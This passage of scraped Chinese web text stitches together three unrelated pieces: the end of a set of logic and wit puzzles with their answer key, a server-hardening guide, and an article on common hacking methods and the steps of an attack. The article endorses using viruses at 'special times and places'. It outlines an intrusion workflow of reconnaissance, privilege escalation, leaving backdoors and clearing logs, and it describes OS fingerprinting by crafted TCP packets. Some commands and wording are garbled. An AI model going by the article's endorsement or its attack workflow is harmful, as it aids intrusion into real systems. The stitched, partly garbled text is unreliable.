甲思索片刻,站起来回答:”厂规厂法由大家制定,就得由大家执行,不管是谁,违反制度,都要按章办事。假如我是厂长,就要按规定扣罚他当月奖金。”老厂长听完他的话,就在他的名字下面划了一个”0″。    接着乙回答:”罚款不是目的,不能只罚款不教育。假如我是厂长,除了按规定扣罚王师傅的当月奖金以外,还要找他谈话,进行思想教育。”老厂长在乙名字下面也画了个”0″。    轮到丙了,他站起来说:”假如我是厂长,不扣罚他的奖金,我要拍着他的肩膀说:’王师傅,你继续吃下去。’”老厂长在丙的名字下面画了个”×”。    ”第二道题,”老厂长说,”当你们上任不久,工厂正面临着转产。这时,总工程师写了一份长达万言的转产报告。注意,当总工程师递上他的书面报告时,请问,你当时应该怎么做?”    甲回答:”我双手接过报告,立即坐下来认真阅读。”老厂长听了,在他名字下面又画了个”0″。    乙回答:”我不但认真阅读,还要马上开座谈会,把有关人员请来,进一步充实方案,并组织实施。”老厂长在他名字下也画了一个”0″。    最后丙回答:”我接过报告,先说声谢谢,然后把它放进抽屉里,锁起来。”老厂长又在他名字下打了个”×”。    ”第三道题”,老厂长又开口了:”当你接到厂长任期目标责任制的规定时,首先想的是什么?”    甲说:”我首先想的是要完成各项任期目标,对国家、对企业、对职工负责。”"0″。    乙说:”我首先想的是要提前、超额、争取翻番地完成各项任期目标,为国家、为企业、为职工做出更大贡献!”"0″。    丙站起来,他深沉地说:”我首先想到–企业的垮台。”"×”。    老厂长走到丙面前,说:”看来,你回答的问题,和他们完全不一样。请你向大家答辩你所回答过的问题。”当丙站起来一一回答了他为什么那样回答的理由时,全场响起来一片热烈掌声,大家一致同意选他当厂长。    你知道丙是怎样解释的吗?还有,老厂长为什么要画”0″和”×”,”0″和”×”表示什么意思呢?    23、片语解纷    清末陈树屏有急智和快才,善于用几句话解开人们的纠纷,人称他”片语解纷”。有一年,在他做江夏知县的时候,清朝著名大臣张之洞在湖北任差。张之洞与抚军谭继询关系不太合得来。有一天,陈树屏在黄鹤楼宴请张、谭等人。座客里有个人谈到江面宽窄问题。谭继询说是五里三分,张之洞就故意说是七里三分,双方争持不下,不肯丢自己面子。陈树屏知道他们明明是借题发挥,是狗扯羊皮,说不清楚的。他心里对两个人这样闹很不满,也很看不起,但是又怕宴会煞风景,扫了众人兴,于是灵机一动,从容不迫地拱拱手,言词谦恭地说了一句话就把争论解决了。    试问,他是怎样说的呢?    24、诗谜广告    一位香港商人决心推销国产化妆品。但港地进口化妆品太多,国货难以打开局面,销售情况不好。一次,她到上海进货,与一友人谈心,谈及销路不畅的苦恼,顺便请教有什么高招。友人很精通中国古典诗词,筹思良久,就密授一计,商人高高兴兴地回去了。数日之后,香港某大报登出一则诗谜广告,谜面是著名唐诗,张佑的《闺怨》:    故国三千里,    深宫二十年。    一声何满子,    双泪落君前。    下面是一行小字:    ”猜一电话号码,最先猜中者奖足金首饰2两,谜底3日后在本报揭晓。”    此诗谜广告一出,顿时传遍港澳,许多稍通唐诗的妇女和男士们都乐此不疲。可惜都没有猜中,越发引得人们如醉如痴。化妆品由此大为畅销。3日后广告谜底揭晓。    你知道谜底是什么吗?请猜猜看。    25、改动一字扭乾坤    李某与吴某在同一条街市相隔不远处各自开了一家鞋店,且门面大小、店堂装潢、鞋的种类相差无几。同行竞争,势在必然。李某为了让顾客买鞋放心,灵机一动计上心来。一日,在店门口贴出告示–”凡本店出售的各类鞋,如有质量问题,包修3月!”顿时李某鞋店顾客盈门,生意兴隆。吴某一时没了主意,他知道如写出同类告示,不仅会受到李某奚落,而且已无新鲜感,自然缺乏竞争力。于是请来众友商量对策,一时议论纷纷,其中一位朋友缓缓说道:”只须改动一字,即可扭转乾坤!”吴某大喜,即向那位朋友请教,如法炮制,果然没几天生意盖过了李某,特别是一些购买高档鞋的顾客,大多到吴某鞋店选购。    试问,吴某改动了哪一个字呢?    26、踢垃圾桶    国外,有一位退休老人在学校附近买下了一栋简朴的住宅。最初几个星期很安静,不久,有3个年轻人开始在附近踢垃圾桶代足球,老人受不了他们的骚扰,但又无法可想。后来,他想到一计,便出去与他们谈判,说:”我年轻的时候也常常做这样的事情,你们能不能帮我一个忙?如果你们每天过来踢垃圾桶,我给你们每人一块钱。”这3个无所事事的年轻人很高兴,他们使劲地踢所有的垃圾桶。但是,过了几天,他们却不愿意踢垃圾桶了。    试问,这是什么道理呢?    27、巧说谎话    在蒙古锡林郭勒草原上,有一个富有而又刁钻古怪的王爷。他却有一个漂亮而善良的公主。公主成年后,求婚的人非常多。可是,王爷招取女婿的条件却非常特别,而且非常荒唐:凡是来求婚者,必须说一个谎话。如果王爷认为是谎话,那么就把公主嫁给他;如果王爷认为不是谎话,那么求婚者就得受到鞭打100下的惩罚。开始,许多聪明的小伙子都以为凭自己的智慧和口才,一定能说出漂亮的谎话,娶回美丽的公主。谁知,接连去了许多人,结果都只留下了遍体鞭伤。难道这么多人说的都不是谎话吗?原来,古怪的王爷患有虐待狂的毛病,不管别人怎么撒谎,他一概认为是真话。结果,小伙子们无论如何也不能娶到美丽的公主。这事被草原上最机智的人物巴拉根仓知道了,他决心娶到公主,给王爷一个教训。这天,他让人把草原上的牧民都叫到王爷府前,而且请王爷的大臣们也来旁听,然后当着众人的面对王爷撒了个弥天大谎。王爷开始还想像过去一样,坚持巴拉根仓说的是真话,可是当巴拉根仓刚刚说完,王爷就迫不急待地嚷道:”是谎话!是谎话!”其结果自然是王爷乖乖地嫁出了公主。    试问,巴拉根仓撒的是什么谎呢?    28、百元钞票    有一天,百货公司里挤满了顾客。一个小青年挑好了自己喜欢的服装后,从钱包里掏出人民币,交给售货员。售货员见是一张断成两截的壹百元钞票,就笑着对他说:”你把它贴好了再来买吧。这衣服我给你留着。”可是这位小青年不乐意,理直气壮地说:”这票子是刚才我在那儿买东西时,售货员找给我的。你不收不行。”说着指了指前面的柜台。售货员听后,笑了笑说:”青年人,说话要老实..”小青年不等她说完,马上气势汹汹地说:”你也不过去问问,怎么就随便下结论?”售货员不慌不忙地说出原因,在场的顾客听罢都纷纷指责这个小青年。    你知道这是什么原因吗?    29、谁中头奖    小赵家住四合院里。院里除住着赵家外,还住有钱家、孙家、李家。这一天小赵放学回家,还未进大院门,就听路人说:”市工商银行有奖储蓄开奖了,他们大院有家人家中了头奖。”小赵急忙跑回家问爸爸,爸爸说:”是钱家中了头奖!”他又去问钱伯伯,钱说:”是李家中了头奖!”但李家又说:”钱家方才中了头奖!”最后,小赵问孙家,孙爷爷说:”我不知道,反正我们家没有中头奖!”后来查证:只有一家说了真话。    试问,哪家中了头奖?    30、旧窑洞    1930年,在广西右江,一天,26岁的邓斌(即*,时任红七军政委)在摆脱一个连白匪的追击中,不小心把腿摔伤了。在这紧急关头,正巧我地下党一个外号叫”金钢锥”的交通员经过这里。”金钢锥”赶紧背起邓斌,蹚过布柳河(在百色附近),钻进离河不远的旧瓦窑里。迫赶邓斌的白匪搜到了窑洞口,但是,却没有进去搜查,因为邓斌想了一个办法,使白匪不愿进去。    你知道他想的是什么办法吗?    31、一封信    一位青年给大仲马写了一封信,建议两人合写一部小说。大仲马在回信中尖刻地写道:”先生,您怎么如此地胆大包天,竟然想把一匹高贵的马和一头卑贱的驴子套在一辆车上呢?–大仲马。”于是年轻人立即给大仲马写了一封回信。    大仲马接到回信后立即转怒为喜,马上复信道:    ”请把文稿寄来,我的朋友。我很乐意接受您的建议。”    你能猜出年轻人的回信是怎么写的吗?    32、过年    从前有位花花公子名叫金志鹏,从小被父母娇生惯养,好吃懒做,交上了一班酒肉朋友,整日在外吃喝玩乐,嫖赌逍遥。父亲死后,金志鹏仍恶性不改,拿着银子当水花,很快就把遗产花个一干二净,成了个穷少爷。一年除夕,家家焕符,鸣鞭炮,欢庆新年。可穷少爷连年夜米也没有。于是他自嘲地写了副对子:”行节俭事,过淡泊年”,贴于门口。是夜,善良的舅父闻知外甥穷困潦倒,便买了2 斤肉,背了10斤米过来,见门前春联,感慨万端,便语重心长地对外甥说:”你这对联的头上,还应各加一个字!”说完令外甥取来红纸和笔砚,挥毫写了一副门联。穷少爷一看,羞愧不已,从此改邪归正,自力谋生,成了个回头浪子。试问,那个好心的舅父在对联头上各加了一个什么字?    33、考孔子    孔夫子周游列国,一日来到燕国。进城门不多远,见一少年盘坐在大道当中,不让马车通过。少年说:”我叫项橐,听说孔老先生是圣人,很有学问,特拦路求教。”孔夫子笑着说:”小孩儿,你遇到什么难题啦?”项橐立起,朝孔子拱拱手,然后问:”什么水没有鱼?什么火没有烟?什么树没有叶?什么花没有枝?”孔子听后说:”这顽童真问得古怪。江河湖海,什么水里都有鱼;不管柴草灯烛,什么火都有烟;至于植物,没有叶不能成树,没有枝难于开花。”项橐咯咯地笑了,晃着脑袋直喊”不对”,接着道出4物。孔夫子面红耳赤,慨叹道:”后生可畏啊,老夫拜你为师!”后人把这个故事编入了启蒙读物《三字经》,叫”昔仲尼,师项橐”。    试问,项橐说的是哪4物?

答 案
1 、太守看了信后,怒不可遏,连声呼喊:“抓住他!杀了他!”太守的人马分头追了两个小时,没有抓到华佗。太守又急又怒,气喘吁吁,大声咳嗽,吐了一大滩黑血。吐过之后,太守觉得轻松多了。第二天,华佗回来,将财礼退还主人,并告诉他:“你的病已经根除了。”原来,这是华佗为了让太守吐出瘀血,而采用的一种方法。
2 、他说:“英国的女王也是女的。按照你们的体制,女王是英国国家元首和全国武装部队总司令。”
3 、徐稚说:“按照那本书的说法,完全可以推导出这样的话:房子院套四方方,像个口字的形状,房子里头住着人,人在口中不吉祥。你也想想看,人在口字里,不就是‘囚’字了吗?那不是说,人住在房子里不就成了囚犯了吗?普天下的人都住在房子里,不都成了囚犯了吗?”郭林宗听了心服口服。于是,他下令工匠不要再砍树了。
4、 邱吉尔说:“总统先生,我这个英国首相在您面前可真没有一点隐瞒。”说完,两人哈哈大笑。
5 、“在中国的台湾省。”周总理的回答的确十分精彩,他不仅机智地回答了记者的问题,而且进一步表明了台湾是中国领土的一部分。
6、 朗宁坦然答道:“根据当地饮食习惯,你们是喝牛奶长大的,你们身上一定有牛的血统。”
7、 林肯说:“本总统收到过许多匿名信,全部只有正文,不见署名,而今天正好相反,刚才这位先生只署上了自己的名字,却忘了给我写信。”  说完,便继续他的演讲。
8 、谁家女多娇,何故落小桥?青丝随浪转,粉面泛波涛。
9、师傅说的一百一十一座庙,原来这里用的是谐音,意思是:一柏、一石、一座庙。
10 、海明威的回答:“是的,坐着写当然很舒服,但文章一写就长;站着容易腿累,逼得我尽可能写得简短些..等到最后校阅的时候,我就坐在安乐椅上。这时多么舒服,它容许我勾去一切在我看来是多余的东西。”原来这就是他的文章写得简洁的秘诀。
11 、假设甲说的第一句话是真的,那和乙说的第一句话(“克劳斯亲王是荷兰女王的丈夫”)相矛盾,所以不可能真。根据题意“三人都说对了一半”,所以甲说的第二句话(“菲利浦亲王是英女王的丈夫”)为真。既然此句为真,则乙的第二句话就为假,乙的第一句话就为真。乙的第一句话为真,则丙的第二句话为假。这样答案就是:菲利浦亲王是英女王的丈夫。克劳斯亲王是荷兰女王的丈夫。亨利亲王是丹麦女王的丈夫。
12 、“唯解漫天作雪飞。”意思是:白字连篇。“草色遥看近却无。”意思是:一片模糊。“两个黄鹂鸣翠柳,一行白鹭上青天。”意思是:不知所云,离题太远。“高山擂鼓,闻声百里。”意思是:不通!不通!“人有七窍,令郎已通六窍。”意思是:一窍不通。
13 、用列表法解题:  周一周二周三周四周五周六周日  理发店  ×√√√√√√  银行  √√√√√××  农贸市场  √×√××√×  药店  √√√√√√×  ×代表休息,√代表不休息,只有星期三都开门营业,所以他是在星期三进城的。
14 、老孙的羊最多,老王、老钱第二多,以下依次为老单、老毕、老李。
15 、根据题意,每人除懂本国语言以外,还懂一门其他国家的语言。5个人中懂德语的只有1 个人,他没法用德语跟其他人交谈。因为他是法国人,所以他必须坐在两个懂法语的人中间。因此,他左右必须是1 个法国人,1 个是懂法语的英国人。有这3 个人的位置,就可以确定其他两人的位置了。
16 、华罗庚先用手帕分别包上砂石或者其他重物,再将已有的砣放在台秤上,分别称出它们的重量,使其分别为1 千克、1.5 千克、2 千克等。称西瓜时,分别将其挂在底砣上使用,就可以起到砣的作用,用来准确称量了。
17 、张嘎有意把芦苇丛弄响,给敌人造成有人埋伏其中的假象,迫使敌人为了自卫而开枪,利用敌人的枪声给游击队报警。
18 、列宁解铜环的步骤是:首先把绳子两端连接在一起;然后把左边或右边的铁坏顺着绳圈移到另一端去,让铜环位移到绳子结头处;最后解开绳结,取下铜环。
19 、发觉有人开枪,最早是聋子。因为光的传播速度是每秒30万千米,比空气中声音的传播速度和子弹的飞行速度都要快得多。
20、比尔巴立刻在那条线下面划了一条更长的线,说:“陛下请看,现在您的一条线比这条线短了。”阿克巴看后无言以对,因为比尔巴的回答是符合国王提出的要求的。
21 、王安说:“只要是对的事情,绝不能优柔寡断,必须马上付诸行动。”
22 、第一个问题,丙是这样解释的:“这很简单,在座的很多人都知道王师傅工作一贯勤奋努力,他得胃溃疡已20 多年了,所以在饮食上宜少吃多餐。他在工作时间吃东西,是病理需要。这当然和工厂的制度相矛盾,但制度是死的,在执行中要灵活,特殊情况要特殊对待。”第二个问题,丙的解释是:“我在一件事情的决策之前,是不愿受别人意见所左右的。如我当时看了报告,脑子里形成框子,我再考虑时就不容易跳出来。我不是不看,待我经过一段独立思考之后,再把报告拿出来研究,这样效果更好些。”  第三个问题,丙沉着地回答:“在目前激烈的竞争中,必须时时看到对手的长处,警惕自己的弱点,有一种危机感和紧迫感。只有这样,才能保持清醒的头脑,相应地制订出避免失败的对策。优势而无准备不是优势,劣势而有准备可以转为优势。只有居安思危,知已知彼,才能立于不败之地。”  3 个回答,有板有眼,说服力强。顿时,全场爆发了一阵热烈的掌声。  老厂长对“0”和“×”的用法是这样解释的:“按常规,这‘0’表示同意,这‘×’表示反对。而今天,这两个符号却有了特殊的含意,它表示着不同的思维方式。‘0’从起点开始又回到起点,这是封闭型的思维方式,这显然不符合当今时代的要求。‘×’两条直线一个中心,围绕一点向四周扩散,这是开放型的思维方式。只有展开思维的翅膀,勇于开拓,才能创造人间奇迹!”  老厂长才说完,全场又响起了一阵热烈的掌声。
23 、陈树屏说:“江面水涨就宽到七里三分,而落潮时便是五里三分。张督抚是指涨潮而言,而抚军大人是指落潮而言。两位大人都没说错,这有何怀疑的呢?”张、谭两人本来都是信口胡说,听了陈树屏的这个有趣的圆场,自然无话可说了。
24 、谜底是:××公司电话约购化妆品号码——300020——1288。使用本公司化妆品助你征服爱人,庶免闺怨。  说明:该诗首句“三千里”扣“3000”,次句“二十年”扣“20”,三四句“一声”“双泪”扣“12”,至于“88”乃双泪串落之意。
25 、这位朋友说:“将‘包修3 月’改为‘包退3 月’,且将‘退’字写得特别大!”吴某十分高兴,便如法炮制,果然没过几天,吴某的生意大大超过了李某。
26、过了数日,老人带着愁容去找他们:“通货膨胀减少了我的收入。”他说,“从现在起,我只能给你们每人5 角钱了。”这几个制造噪音的人不大高兴了,但还是接受了老人的钱,每天下午继续去踢垃圾桶。一个星期后,老人再找他们:“瞧!”他说,“我最近没收到养老金支票,所以每天只能给你们2 角5 分,行吗?”“区区2 角5 分?”一个年轻人大叫着:“你以为我们会为了这区区2 角5 分钱,来浪费我们的时间在这里踢垃圾桶?不成,我们不干了!”从此以后,老人的日子又恢复了往日的宁静。
27 、巴拉根仓撒的谎是:“王爷的王位本来是我的,硬是王爷从我手里强行夺去的!”巴拉根仓使王爷面临这样一个困境:如果承认巴拉根仓说的是谎话,那就要把女儿嫁给他;如果承认巴拉根仓说的是真话,那就应该把王位还给他。这两种结果都是王爷所不愿意的。但王爷更害怕失掉王位,只好嫁出公主,保住王位。
28 、小青年掏出的是一张壹百元的人民币,而壹百元的钞票是不可能当零钱找给顾客的。人们说话是不应该自相矛盾的。表面上看小青年的话有根有据。可是仔细分析,壹百元的钞票是我国钞票当中面额最大的。既然它是最大的票子,又怎么能够作其他钞票的找零呢?所以,小青年的话中隐含着矛盾,说明他的话是假的。
29、是赵家中了头奖。这可以从四家人的回答中一步步推出来。首先,可以确定赵家和李家说了假话,因为他们都说钱家中了头奖,而我们已知说真话的只有一家。这样,我们就确定了钱家没中头奖。然后,我们假设钱家说的是真话,即李家中了头奖,那么,孙家说的也是真话,这样,就不符合事实,因为只有一人说了真话。因此,钱家说的不是真话,即李没有中头奖。最后,既然赵家、李家、钱家都说了假话,那么只有孙家说的是真话,即孙家也没有中头奖。这样钱、李、孙3 家都没有中头奖,只有赵家中了头奖。
30 、瓦窑里阴暗潮湿,蚊子特别多,两人被叮得吃不消。不一会儿,邓斌想出了一个好办法。两人悄悄来到洞外,捉了许多善于结网的花背蜘蛛。把它们放在洞口结网。同时,又挥动衣服向外赶蚊子。过了一会,蜘蛛已结起了好几张大网,网上粘住了不少蚊子,追赶邓斌的白匪搜索到了窑洞口,洞内漆黑一片,连长便命一个排长进去瞧瞧,排长害怕,派班长,班长又推士兵,一个士兵无奈,走向洞口,发现有许多蜘蛛网。于是,赶紧回来,对连长说:“蜘蛛网都没破,哪有什么人进去啊!”连长听了觉得有道理,带了队伍去别处搜查了。邓斌发明的“蚊帐”不仅能挡蚊,而且还迷惑了敌人,这个消息很快在红军中传开了。
31 、年轻人回信中写道:“仲马先生:您怎么如此胆大包天,竟然把我比作马!”
32 、好心舅舅在上下联头各加一个字,成为“早行节俭事,免过淡泊年”。
33 、井水没有鱼,萤火没有烟,枯树没有叶,雪花没有枝。

服务器安全攻略解析

企业中心机房的服务器是越来越多了,不仅维护麻烦,更何况面临着严峻的安全考验。所谓“牵一发而动全身”,试想主域服务器、ERP服务器、代理服务器、邮件服务器Web服务器等,随便哪个瘫掉了,都可能给整个公司的运转带来不小的影响。打造安全、稳定、高效的服务器是管理者的主要任务。本文笔者将和大家分享在服务器安全方面的经验,希望对你有帮助。
1.杀毒软件
这个部分不用多说,服务器不装杀毒软件的危险性可想而之。假如一台文件服务器中毒,那么通过它进行数据中转的很多电脑都可能被感染。所以,给服务器安装杀毒软件是必须的,最好使用专门为服务器设计的专业杀毒软件。(图1)

2.服务分属
一般来说,公司内的服务通常有AD活动目录服务、DHCP眼务、DNS服务、文件服务、邮件服务、ERP服务、WSUS服务、IIS网站服务、代理服务等,还会有oA服务、传真服务、FTP服务等。理论上,这些服务都应该使用单独的服务器,但是有时为了方便管理,
会在一台服务器上同时安装两项甚至多项服务。
这是不可取的。例如,很多公司都在使用IIS作为网站服务器。但是众所周之,IIS是微软的组件中漏洞最多的一个,隔一段时间就会公布一个漏洞,很多攻击者都回通过CGI漏洞扫描器进行破坏、攻击。如果将主域或者其他关键服务器和IIS做到一一起,就相当于把内部资料完全暴露在入侵者面前。另外,单一服务器提供多项服务也会增大服务器的自身压力,速度缓慢或者其他稀奇古怪的病症都可能发生。所以,笔者还是建议将服务分属开来,实行单一化。(图2)

3.分区格式
服务器的分区格式基本上都是NTFS的,主要是因为它具有强大的安全控制机制,对大硬盘的支持功能也是FAT32无法比拟的。如果硬盘分区是FAT32格式,就转换一下吧,
只需使用命令:Convert c:fs:ntfs,就可以将c盘转换成NTFS格式。不过,用这种转换方式有一点弊端,就是转换后安装Windows补丁时会出现蓝屏现象。如果有时问和精力,最好重装一下系统,在安装时将分区格式化成NTFS格式,这才是上上之选。(图3)

4.用户账户

服务器安装初期有一部分账户默认状态是被开启的,这些账户很多都是没用的,甚至其存在本身就是对系统安全的威胁,比如Guest账户。这个账户被黑客运用得淋漓尽致,很多工具能轻易地将Guest账户提升到管理员组,一旦被攻破整个网络也就没有任何系统安全性可言了。所以账户及密码要严防死守,最好做到如下几点:

(1).关闭Guest账户。

(2).更改Administrator账户的名称,最好使用不易暴露目标的普通名称,同时再建立一两个管理员账户,以便不时之需,但是这些账户的权限要严格控制,非必要时不要将整个服务器予以授权。

(3).鉴于暴力破解密码的手段和速度都有所提高,密码复杂度一定要高,最好是十位以上,且同时包含字母、数字、特殊字符。

(4).每两周或一个月更改一次密码,更改的同时在日志中审核账户,检测账户密码是否被恶意尝试突破,并在账号属性中设立锁定次数,账号失败登录次数超过三次就锁定。
这些操作很简,但是要长年累月地坚持下来,就不是每个人都能做到的了。但是,不出问题还好,一旦出了问题,账户、密码的丢失会对整个网络系统产生致命打击。(图4)

5.相关端口

端口是服务器和客户机相连的逻辑接口,也是服务器的第一道路径,端口的安全性直接影响到服务器的安全。比如扫描结果显示69端口开放,那你的操作系统极有可能是Linux或者Unix系统,黑客们就会抛弃Windows模式而转为Unix系统模式发起攻击。所以,根据需求仅打开服务使用的端口,会更加安全。(图5)

6.安全审核

服务器的审核非常关键,通过审核日志,网管能轻松找出系统入侵行为、异常动向等相关信息。但是审核是有技巧的,审核项目过多会占用很多系统资源而且会导致网管根本没空去看,审核项目过少又无法得知自己需要的相关信息,那样的审核没有意义。所以,需要根据服务器需求设定审核的项目。

比如,提供远程服务的Terminal Service服务器,一般来说,我们只要审核登录、注销事件即可,目的只是查看是否有人非法登录。再比如,提供邮箱服务的Exchange服务器,需要监视和审核的是收件人、发件人、时间、过滤附件这几项。如果有病毒在服务器中转,通过监视记录非常容易找出来。当然,为了减轻服务器负担以及便于管理员查看每台服务器只记录比较铭感的信息。(图6)
7.权限配置

这里说的“权限配置” 主要是文件服务器、Web服务器的权限。对于公司来讲,为了分工合作,很多资源需要读写共享。“读共享” 还好说,服务器不会感染病毒,而“写权限” 就不是那么容易控制的了,一旦客户端中毒,此机器访问某共享文件夹时很可能将病毒同时写入服务器。这种病毒入侵只能依靠杀毒软件来被动检测,但作为网管,主动一点的防御措施还是很有必要的。

(1).尽可能用“组” 来进行权限控制。

(2).在用户需求基础上,尽可能分配最小的权限。

(3).权限是累计效应的,隶属多个组,尽量不重复授权。

(4).由于拒绝的权限要比允许的权限高,所以要善用拒绝权限,任何一个不合理的拒绝都有可能造成共享无法正常运行。(图7)

8.关闭共享资源
除了文件服务器外,几乎所有的服务器都不需要共享资源。因此,为了防止不法分子利用共享发起攻击,最好关闭所用共享选项:
(1).打开“本地连接” 属性窗口,将“Microsoft网络的文件和打印机共享”项去掉。
(2).关闭默认共享。
(3).关闭Server这项共享服务。
关闭这些网络共享途径,不法分子就不能通过共享的文件来入侵服务器了,少了一种入侵手段,安全性自然要有所提高。还有,不需要的功能和协议也应尽可能关闭或禁用。比如:大量的ICMP数据包会形成“ICMP风暴”,造成网络堵塞,受到流量攻击,“ICMP路由公告” 可以造成客户机与服务器的网络连接异常,数据被窃听、盗窃。可以通过修改注册表来防止ICMP重定向报文的攻击,禁止响应ICMP路由通告报文。
另外,删除NetBEUI和即将退出历史舞台的IPX/PX协议,也将在很大程度上保护服务器的安全。原则上,服务器只要能提供相应服务,所用的东西能少就少。(图8)

9.加强数据备份

域账户数据、内网邮箱账户数据、外网邮箱账户数据、ERP资源数据,这些数据不用多说大家也知道它们的重要性吧,保证数据安全就要对这些数据加大备份强度。笔者建议,每天做增量备份,每星期做全盘备份,每个月检测数据备份是否完善。当数据到达指定大小时刻录光盘,并制作冗余光盘,防止数据因保存不当丢失。关键的数据尽可能做冗余备份,成本不会增加很多,但是数据安全性却能大大提高。(图9)

10.保留地址

服务器的地址要有完全的受控性和永久不被侵占性,这就要保留一部分地址只供服务器使用。比如,在DHCP地址池中划分出相应的IP地址作为保留地址,然后将这些IP地址和对应服务器的MAC地址绑定。这样,即便是客户机非法使用该IP地址,也无法进行网络访问。(图10)

总结:服务器的安全是个系统工程,任何一个方面的隐患或者疏忽将会使整个防御体系告破。因此,全方位地做好服务器的安全部署是必要的也是必须的。

浅析黑客攻击时的常用方法和攻击步骤

网络安全从其本质上来讲就是网络上的信息安全。从广义来说,凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全的研究领域。确保网络系统的信息安全是网络安全的目标,信息安全包括两个方面:信息的存储安全和信息的传输安全。信息的存储安全是指信息在静态存放状态下的安全,如是否会被非授权调用等。信息的传输安全是指信息在动态传输过程中安全。为了确保网络信息的传输安全,有以下几个问题:

(1)对网络上信息的监听
(2)对用户身份的仿冒
(3)对网络上信息的篡改
(4)对发出的信息予以否认
(5)对信息进行重发

对于一般的常用入侵方法主要有
1.口令入侵

所谓口令入侵,就是指用一些软件解开已经得到但被人加密的口令文档,不过许多黑客已大量采用一种可以绕开或屏蔽口令保护的程序来完成这项工作。对于那些可以解开或屏蔽口令保护的程序通常被称为“Crack”。由于这些软件的广为流传,使得入侵电脑网络系统有时变得相当简单,一般不需要很深入了解系统的内部结构,是初学者的好方法。

2.特洛伊木马术

说到特洛伊木马,只要知道这个故事的人就不难理解,它最典型的做法可能就是把一个能帮助黑客完成某一特定动作的程序依附在某一合法用户的正常程序中,这时合法用户的程序代码已被该变。一旦用户触发该程序,那么依附在内的黑客指令代码同时被激活,这些代码往往能完成黑客指定的任务。由于这种入侵法需要黑客有很好的编程经验,且要更改代码、要一定的权限,所以较难掌握。但正因为它的复杂性,一般的系统管理员很难发现。

3.监听法

这是一个很实用但风险也很大的黑客入侵方法,但还是有很多入侵系统的黑客采用此类方法,正所谓艺高人胆大。

网络节点或工作站之间的交流是通过信息流的转送得以实现,而当在一个没有集线器的网络中,数据的传输并没有指明特定的方向,这时每一个网络节点或工作站都是一个接口。这就好比某一节点说:“嗨!你们中有谁是我要发信息的工作站。”

此时,所有的系统接口都收到了这个信息,一旦某个工作站说:“嗨!那是我,请把数据传过来。”联接就马上完成。

目前有网络上流传着很多嗅探软件,利用这些软件就可以很简单的监听到数据,甚至就包含口令文件,有的服务在传输文件中直接使用明文传输,这也是非常危险的。

4.E-mail技术

使用email加木马程序这是黑客经常使用的一种手段,而且非常奏效,一般的用户,甚至是网管,对网络安全的意识太过于淡薄,这就给很多黑客以可乘之机。

5.病毒技术
作为一个黑客,如此使用应该是一件可耻的事情,不过大家可以学习,毕竟也是一种攻击的办法,特殊时间,特殊地点完全可以使用。

6.隐藏技术

网络攻击的一般步骤及实例

攻击的准备阶段
首先需要说明的是,入侵者的来源有两种,一种是内部人员利用自己的工作机会和权限来获取不应该获取的权限而进行的攻击。另一种是外部人员入侵,包括远程入侵、网络节点接入入侵等。本节主要讨论远程攻击。

进行网络攻击是一件系统性很强的工作,其主要工作流程是:收集情报,远程攻击,远程登录,取得普通用户的权限,取得超级用户的权限,留下后门,清除日志。主要内容包括目标分析,文档获取,破解密码,日志清除等技术,下面分别介绍。

1.确定攻击的目的

攻击者在进行一次完整的攻击之前首先要确定攻击要达到什么样的目的,即给对方造成什么样的后果。常见的攻击目的有破坏型和入侵型两种。破坏型攻击指的只是破坏攻击目标,使其不能正常工作,而不能随意控制目标的系统的运行。要达到破坏型攻击的目的,主要的手段是拒绝服务攻击(Denial Of Service)。另一类常见的攻击目的是入侵攻击目标,这种攻击是要获得一定的权限来达到控制攻击目标的目的。应该说这种攻击比破坏型攻击更为普遍,威胁性也更大。因为黑客一旦获取攻击目标的管理员权限就可以对此服务器做任意动作,包括破坏性的攻击。此类攻击一般也是利用服务器操作系统、应用软件或者网络协议存在的漏洞进行的。当然还有另一种造成此种攻击的原因就是密码泄露,攻击者靠猜测或者穷举法来得到服务器用户的密码,然后就可以用和真正的管理员一样对服务器进行访问。

2.信息收集

除了确定攻击目的之外,攻击前的最主要工作就是收集尽量多的关于攻击目标的信息。这些信息主要包括目标的操作系统类型及版本,目标提供哪些服务,各服务器程序的类型与版本以及相关的社会信息。

要攻击一台机器,首先要确定它上面正在运行的操作系统是什么,因为对于不同类型的操作系统,其上的系统漏洞有很大区别,所以攻击的方法也完全不同,甚至同一种操作系统的不同版本的系统漏洞也是不一样的。要确定一台服务器的操作系统一般是靠经验,有些服务器的某些服务显示信息会泄露其操作系统。例如当我们通过TELNET连上一台机器时,如果显示

Unix(r)System V Release 4.0
login:

那么根据经验就可以确定这个机器上运行的操作系统为SUN OS 5.5或5.5.l。但这样确定操作系统类型是不准确的,因为有些网站管理员为了迷惑攻击者会故意更改显示信息,造成假象。

还有一种不是很有效的方法,诸如查询DNS的主机信息(不是很可靠)来看登记域名时的申请机器类型和操作系统类型,或者使用社会工程学的方法来获得,以及利用某些主机开放的SNMP的公共组来查询。

另外一种相对比较准确的方法是利用网络操作系统里的TCP/IP堆栈作为特殊的“指纹”来确定系统的真正身份。因为不同的操作系统在网络底层协议的各种实现细节上略有不同。可以通过远程向目标发送特殊的包,然后通过返回的包来确定操作系统类型。例如通过向目标机发送一个FIN的包(或者是任何没有ACK或SYN标记的包)到目标主机的一个开放的端口然后等待回应。许多系统如windows、 BSDI、 CISCO、 HP/UX和 IRIX会返回一个RESET。通过发送一个SYN包,它含有没有定义的TCP标记的TCP头。那么在Linux系统的回应包就会包含这个没有定义的标记,而在一些别的系统则会在收到SYN+BOGU包之后关闭连接。或是利用寻找初始化序列长度模板与特定的操作系统相匹配的方法。利用它可以对许多系统分类,如较早的Unix系统是64K长度,一些新的Unix系统的长度则是随机增长。还有就是检查返回包里包含的窗口长度,这项技术根据各个操作系统的不同的初始化窗口大小来唯一确定它们。利用这种技术实现的工具很多,比较著名的有NMAP、CHECKOS、QUESO等。

获知目标提供哪些服务及各服务daemon的类型、版本同样非常重要,因为已知的漏洞一般都是对某一服务的。这里说的提供服务就是指通常我们提到的喘口,例如一般TELNET在23端口,FTP在对21端口,WWW在80端口或8080端口,这只是一般情况,网站管理完全可以按自己的意愿修改服务所监听的端口号。在不同服务器上提供同一种服务的软件也可以是不同,我们管这种软件叫做daemon,例如同样是提供FTP服务,可以使用wuftp、proftp,ncftp等许多不同种类的daemon。确定daemon的类型版本也有助于黑客利用系统漏洞攻破网站。

